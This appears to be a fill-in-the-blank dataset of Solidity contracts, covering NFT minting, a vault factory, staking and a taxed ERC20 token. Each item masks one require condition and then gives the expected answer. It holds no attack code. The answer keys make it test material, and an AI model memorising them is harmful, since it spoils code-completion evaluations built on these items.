import "@openzeppelin/contracts/access/Ownable.sol";
contract GroovyGoblins is ERC721A, Ownable {
uint256 public pricePerNFT = 0.005 ether;
uint256 public max_per_tx = 10;
uint256 public maxSupply = 4444;
uint256 public totalFreeMints = 999; // Actually 1000, contract checks this
bool public getGroovy = false;
bool public isMetadataFinal = false;
string public _baseURL;
constructor() ERC721A("Groovy Goblins", "GG") {
}
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint) {
}
function mintGroovyGoblins(uint256 _amount)
external
payable
{
uint256 mintPrice = pricePerNFT;
require(msg.sender == tx.origin, "Caller is an external contract.");
require(getGroovy, "Sale is not live yet.");
require(totalSupply() + _amount <= maxSupply, "All goblins have been minted.");
require(<FILL_ME>)
if (totalSupply() > totalFreeMints) {
require(msg.value == _amount * mintPrice, "Incorrect amount of ETH send.");
}
// Get your Goblins
_safeMint(msg.sender, _amount);
}
function airdropNFT(address _mintToAddress, uint256 _amount) external onlyOwner {
}
function finalizeMetadata() external onlyOwner {
}
// Setting sale state
function setGetGroovy(bool _getGroovy) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| _numberMinted(msg.sender)+_amount<=max_per_tx,"Too many mints for this wallet." | 121,769 | _numberMinted(msg.sender)+_amount<=max_per_tx |
"Metadata is locked." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract GroovyGoblins is ERC721A, Ownable {
uint256 public pricePerNFT = 0.005 ether;
uint256 public max_per_tx = 10;
uint256 public maxSupply = 4444;
uint256 public totalFreeMints = 999; // Actually 1000, contract checks this
bool public getGroovy = false;
bool public isMetadataFinal = false;
string public _baseURL;
constructor() ERC721A("Groovy Goblins", "GG") {
}
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint) {
}
function mintGroovyGoblins(uint256 _amount)
external
payable
{
}
function airdropNFT(address _mintToAddress, uint256 _amount) external onlyOwner {
}
function finalizeMetadata() external onlyOwner {
}
// Setting sale state
function setGetGroovy(bool _getGroovy) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
require(<FILL_ME>)
_baseURL = _newBaseURI;
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| !isMetadataFinal,"Metadata is locked." | 121,769 | !isMetadataFinal |
"Insufficient funds" | pragma solidity ^0.8.7;
contract GaGaPunks is ERC721A, Ownable{
using SafeMath for uint256;
uint public maxPerTransactionForFreeMint = 5;
uint public maxPerTransaction = 20;
uint public supplyLimit = 20000;
uint public freeSupply = 2000;
bool public publicSaleActive = false;
string public baseURI;
uint256 public tokenPrice = .049 ether;
constructor(string memory name, string memory symbol, string memory baseURIinput)
ERC721A(name, symbol)
{
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string calldata newBaseUri) external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function mint(uint256 _quantity) external payable{
if(totalSupply() < freeSupply){
require(_quantity <= maxPerTransactionForFreeMint, "Over max per transaction! Free mint is limited to 5 tokens per transaction.");
}
else{
require(_quantity <= maxPerTransaction, "Over max per transaction! Limit is 20 per transaction.");
}
require(publicSaleActive == true, "Not Yet Active.");
require((totalSupply() + _quantity) <= supplyLimit, "Supply reached");
uint256 salePrice = totalSupply() >= freeSupply ? tokenPrice : 0;
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
}
function withdraw() public onlyOwner {
}
}
| msg.value>=(salePrice*_quantity),"Insufficient funds" | 121,844 | msg.value>=(salePrice*_quantity) |
"proxy zero" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import {TONVaultProxy} from "./TONVault/TONVaultProxy.sol";
import "./interfaces/IEventLog.sol";
import "./interfaces/ITONFactory.sol";
import "./VaultFactory.sol";
/// @title A factory that creates a Vault
contract TONVaultFactory is VaultFactory, ITONFactory {
event CreatedTONVaultProxy(address contractAddress, string name);
address public owner;
/// @dev the fixed address of divided Pool
address public dividedPoolProxy;
/// @inheritdoc ITONFactory
function create(
string calldata _name,
address _token,
address _owner
)
external
override
returns (address)
{
require(bytes(_name).length > 0,"name is empty");
TONVaultProxy _proxy = new TONVaultProxy();
require(<FILL_ME>)
_proxy.addProxyAdmin(upgradeAdmin);
_proxy.addAdmin(upgradeAdmin);
_proxy.setImplementation2(vaultLogic, 0, true);
_proxy.setBaseInfoProxy(
_name,
_token,
_owner,
dividedPoolProxy
);
_proxy.removeAdmin();
createdContracts[totalCreatedContracts] = ContractInfo(address(_proxy), _name);
totalCreatedContracts++;
IEventLog(logEventAddress).logEvent(
keccak256("TONVaultFactory"),
keccak256("CreatedTONVaultProxy"),
address(this),
abi.encode(address(_proxy), _name));
emit CreatedTONVaultProxy(address(_proxy), _name);
return address(_proxy);
}
/// @inheritdoc ITONFactory
function setinfo(
address _dividedPool
)
external
override
onlyOwner
{
}
}
| address(_proxy)!=address(0),"proxy zero" | 121,857 | address(_proxy)!=address(0) |
"Not eligible to stake wPAW" | ";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
interface IwPAWFlexibleStaking {
function stakingAmount(address _user) external view returns (uint256);
function isStakable(address _user) external view returns (bool);
function forceWithdraw(address _user) external;
}
contract WPawFlexibleStake is IwPAWFlexibleStaking, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
// apy
uint256 public apy;
// Accrued token per share
uint256 public accTokenPerShare;
uint256 public totalStaked;
// The block number of the last pool update
uint256 public lastRewardTimeStamp;
// The precision factor
uint256 public PRECISION_FACTOR = uint256(10**12);
// The staked & reward token
IERC20Metadata public wPAWToken;
// Info of each user that stakes tokens (PAWToken)
mapping(address => UserInfo) public userInfo;
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
uint256 rewardDebt; // Reward debt
}
event Deposit(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event NewAPY(uint256 apy);
event TokenRecovery(address indexed token, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event Claim(address indexed user, uint256 amount);
/**
* @notice Constructor
*/
constructor(){
}
/*
* @notice Deposit staked tokens and collect reward tokens (if any)
* @param _amount: amount to withdraw (in wPAWToken)
*/
function deposit(uint256 _amount) external nonReentrant {
require(<FILL_ME>)
UserInfo storage user = userInfo[msg.sender];
_updatePool();
if (user.amount > 0) {
uint256 pending = (user.amount * accTokenPerShare) / PRECISION_FACTOR - user.rewardDebt;
if (pending > 0) {
wPAWToken.safeTransfer(address(msg.sender), pending);
}
}
if (_amount > 0) {
totalStaked += _amount;
user.amount += _amount;
wPAWToken.safeTransferFrom(address(msg.sender), address(this), _amount);
}
user.rewardDebt = (user.amount * accTokenPerShare) / PRECISION_FACTOR;
emit Deposit(msg.sender, _amount);
}
/*
* @notice Withdraw staked tokens and collect reward tokens
* @param _amount: amount to withdraw (in wPAWToken)
*/
function withdraw(uint256 _amount) external nonReentrant {
}
/*
* @notice ForceWithdraw staked tokens and collect reward tokens
* @param _amount: amount to withdraw (in wPAWToken, call by main staking contracts
*/
function forceWithdraw(address _user) external override nonReentrant {
}
/*
* @notice Collect reward tokens
*/
function claim() external nonReentrant {
}
/*
* @notice Withdraw staked tokens without caring about rewards rewards
* @dev Needs to be for emergency.
*/
function emergencyWithdraw() external nonReentrant {
}
/*
* @notice Stop rewards, withdraw all reward
* @dev Only callable by owner. Needs to be for emergency.
*/
function emergencyRewardWithdraw(uint256 _amount) external onlyOwner {
}
/**
* @notice Allows the owner to recover tokens sent to the contract by mistake
* @param _token: token address
* @dev Callable by owner
*/
function recoverToken(address _token) external onlyOwner {
}
/*
* @notice Update APY
* @dev Only callable by owner. Change APY.
*/
function updateNewAPY(uint256 _newAPY) external onlyOwner {
}
/*
* @notice View function to see pending reward on frontend.
* @param _user: user address
* @return Pending reward for a given user
*/
function pendingReward(address _user) external view returns (uint256) {
}
/*
* @notice Update reward variables of the given pool to be up-to-date.
*/
function _updatePool() internal {
}
uint256 public rewardTreasure;
uint256 public rewardAllocated;
function addRewardTreasure(uint256 _amount) external nonReentrant{
}
function _allocateReward(uint256 amount ) internal returns(uint256){
}
/**
To stake WPAW, you must be staking in Flexible PAW, Locked PAW, SushiswapLP or Uniswap LP
*/
address[] public listMainStakings;
function listMainStakingsLength() public view returns(uint256){
}
function stakingAmount(address _user) public view override returns(uint256) {
}
function isStakable(address _user) public view override returns(bool) {
}
function addToListMainStakingAddress(address _stakingAddress)public onlyOwner{
}
function removeFromListMainStakingAddress(address _stakingAddress)public onlyOwner{
}
}
| isStakable(msg.sender),"Not eligible to stake wPAW" | 121,982 | isStakable(msg.sender) |
"Minting too many" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
uint supply = totalSupply();
require(phase == 2, "Mint not active");
require(<FILL_ME>)
require(msg.sender == tx.origin, "No contract mints");
require(supply + _qty <= (total - reserves), "Minting exceeds total");
require(MINT_PRICE * _qty == msg.value, "Invalid funds");
claimed[_msgSender()] += _qty;
_safeMint(_msgSender(), _qty);
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
}
function teamMint(uint _qty) public {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| claimed[_msgSender()]+_qty<=maxMint,"Minting too many" | 122,089 | claimed[_msgSender()]+_qty<=maxMint |
"Minting exceeds total" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
uint supply = totalSupply();
require(phase == 2, "Mint not active");
require(claimed[_msgSender()] + _qty <= maxMint, "Minting too many");
require(msg.sender == tx.origin, "No contract mints");
require(<FILL_ME>)
require(MINT_PRICE * _qty == msg.value, "Invalid funds");
claimed[_msgSender()] += _qty;
_safeMint(_msgSender(), _qty);
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
}
function teamMint(uint _qty) public {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| supply+_qty<=(total-reserves),"Minting exceeds total" | 122,089 | supply+_qty<=(total-reserves) |
"Invalid funds" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
uint supply = totalSupply();
require(phase == 2, "Mint not active");
require(claimed[_msgSender()] + _qty <= maxMint, "Minting too many");
require(msg.sender == tx.origin, "No contract mints");
require(supply + _qty <= (total - reserves), "Minting exceeds total");
require(<FILL_ME>)
claimed[_msgSender()] += _qty;
_safeMint(_msgSender(), _qty);
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
}
function teamMint(uint _qty) public {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| MINT_PRICE*_qty==msg.value,"Invalid funds" | 122,089 | MINT_PRICE*_qty==msg.value |
"Minting too many" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
uint supply = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(_msgSender(), _maxQty));
require(phase == 1, "Mint not active");
require(claimed[_msgSender()] + _qty <= maxMint, "Minting too many");
require(<FILL_ME>)
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Not on the list");
require(supply + _qty <= (total - reserves), "Minting exceeds total");
require(PRESALE_MINT_PRICE * _qty == msg.value, "Invalid funds");
claimed[_msgSender()] += _qty;
_safeMint(_msgSender(), _qty);
}
function teamMint(uint _qty) public {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| claimed[_msgSender()]+_qty<=_maxQty,"Minting too many" | 122,089 | claimed[_msgSender()]+_qty<=_maxQty |
"Invalid funds" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
uint supply = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(_msgSender(), _maxQty));
require(phase == 1, "Mint not active");
require(claimed[_msgSender()] + _qty <= maxMint, "Minting too many");
require(claimed[_msgSender()] + _qty <= _maxQty, "Minting too many");
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Not on the list");
require(supply + _qty <= (total - reserves), "Minting exceeds total");
require(<FILL_ME>)
claimed[_msgSender()] += _qty;
_safeMint(_msgSender(), _qty);
}
function teamMint(uint _qty) public {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| PRESALE_MINT_PRICE*_qty==msg.value,"Invalid funds" | 122,089 | PRESALE_MINT_PRICE*_qty==msg.value |
"Minting exceeds total" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
}
function teamMint(uint _qty) public {
uint supply = totalSupply();
require(treasury == _msgSender(), "Unauthorized");
require(<FILL_ME>)
require(teamMinted + _qty <= reserves, "Minting exceeds reserved supply");
teamMinted += _qty;
_safeMint(treasury, _qty);
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| supply+_qty<=total,"Minting exceeds total" | 122,089 | supply+_qty<=total |
"Minting exceeds reserved supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// @author: oriku.xyz
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
//////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// .' .' //
// .-..' .-. . .-..-..' .;.::..-. .-. . ,';.,';. . //
// : ; ; : `: ; : ; .; .;.-' ; : ;; ;; ;; .'; //
// `:::'`.`:::'-'`.' `:::'`..;' `:::'`:::'-''; ;; '; .' .' //
// -.;' _; `-'' //
// //
// The Official Collection – by Taisei //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////
contract Daydreams is ERC721A, Ownable, ReentrancyGuard {
bytes32 public merkleRoot;
uint public total;
uint public teamMinted;
uint public reserves;
uint public maxMint;
uint8 public phase;
uint public constant PRESALE_MINT_PRICE = 0.06 ether;
uint public constant MINT_PRICE = 0.08 ether;
address private treasury;
string private baseURI;
mapping(address => uint) private claimed;
constructor(
address _treasury,
uint _total,
uint _reserves,
uint _maxMint
) ERC721A("Daydreams", "DAYDREAM") {
}
receive() external payable {}
function mint(uint256 _qty) external payable {
}
function presaleMint(uint256 _qty, uint256 _maxQty, bytes32[] calldata _merkleProof) external payable {
}
function teamMint(uint _qty) public {
uint supply = totalSupply();
require(treasury == _msgSender(), "Unauthorized");
require(supply + _qty <= total, "Minting exceeds total");
require(<FILL_ME>)
teamMinted += _qty;
_safeMint(treasury, _qty);
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function isOnPresaleList(uint256 _maxQty, bytes32[] calldata _merkleProof) external view returns (bool) {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setPhase(uint8 _value) public onlyOwner {
}
function setTreasury(address _treasury) public onlyOwner {
}
function withdraw() public nonReentrant {
}
function getBalance() external view returns(uint) {
}
}
| teamMinted+_qty<=reserves,"Minting exceeds reserved supply" | 122,089 | teamMinted+_qty<=reserves |
"!tradable" | pragma solidity >=0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setReflectionFeeTo(address) external;
function setReflectionFeeToSetter(address) external;
}
pragma solidity >=0.8.0;
contract Bluechipzone is ERC20("Bluechipz", "BCZ"), Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant MAX_SUPPLY = 100000000 * 1e18; // total supply
uint16 private MAX_BP_RATE = 10000;
uint16 private devTaxRate = 200;
uint16 private marketingTaxRate = 160;
uint16 private passiveIncomeRewardTaxRate = 110;
uint16 private maxTransferAmountRate = 120;
uint16 private maxWalletAmountRate = 240;
uint256 public minAmountToSwap = (MAX_SUPPLY * 2) / 1000;
uint256 public thresholdAmount = (MAX_SUPPLY * 2) / 100;
uint256 public totalDividends;
uint256 public increasedDividends;
IUniswapV2Router02 public uniswapRouter;
address public uniswapPair;
address public feeReceiver = 0x271b13CC58f76176874DDe185357fFF6216De588;
bool private _inSwapAndWithdraw;
address private _handler;
bool public swapAndWithdrawEnabled = false;
bool public _onboardToken = false;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromMaxTx;
bool private _tradingOpen = false;
struct TokenTypeInfo {
address tokenAddress;
address[] routerPath;
}
mapping(address => uint256) public claimed;
mapping(address => uint256) public dividendsWhenClaim;
TokenTypeInfo[] public tokens;
modifier handleRole() {
}
modifier lockTheSwap() {
}
modifier transferTaxFree() {
}
constructor() public {
}
function operator() public view returns (address) {
}
function burn(address _from, uint256 _amount) public onlyOwner {
}
function _transfer(
address _sender,
address _recepient,
uint256 _amount
) internal override {
require(<FILL_ME>)
// swap and withdraw
if (
swapAndWithdrawEnabled == true &&
_inSwapAndWithdraw == false &&
address(uniswapRouter) != address(0) &&
uniswapPair != address(0) &&
_sender != uniswapPair &&
balanceOf(address(this)) >= minAmountToSwap &&
!_isExcludedFromFee[_sender] &&
!_isExcludedFromFee[_recepient]
) {
swapAndWithdraw();
}
if (!_isExcludedFromMaxTx[_sender]) {
require(_amount <= maxTransferAmount(), "exceed max tx amount");
}
if (_recepient != uniswapPair) {
require(
balanceOf(_recepient) + _amount <= maxWalletAmount(),
"You are exceeding maxWalletAmount"
);
}
if (_isExcludedFromFee[_sender]) {
super._transfer(_sender, _recepient, _amount);
} else {
uint256 devFee = _amount.mul(devTaxRate).div(MAX_BP_RATE);
uint256 marketingFee = _amount.mul(marketingTaxRate).div(
MAX_BP_RATE
);
uint256 passiveIncomeRewardFee = _amount
.mul(passiveIncomeRewardTaxRate)
.div(MAX_BP_RATE);
_amount = _amount.sub(devFee).sub(marketingFee).sub(
passiveIncomeRewardFee
);
super._transfer(_sender, _recepient, _amount);
super._transfer(_sender, address(this), devFee);
super._transfer(_sender, address(this), marketingFee);
super._transfer(_sender, address(this), passiveIncomeRewardFee);
totalDividends = totalDividends.add(passiveIncomeRewardFee);
increasedDividends = increasedDividends.add(passiveIncomeRewardFee);
}
}
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function manualWithdraw() external {
}
/// @dev Swap and liquify
function swapAndWithdraw() private lockTheSwap transferTaxFree {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount) private {
}
function maxTransferAmount() public view returns (uint256) {
}
function maxWalletAmount() public view returns (uint256) {
}
function updateFees(
uint16 _passiveRewardsRate,
uint16 _devTaxRate,
uint16 _marketingTaxRate
) external onlyOwner {
}
function removeAllLimits() external handleRole {
}
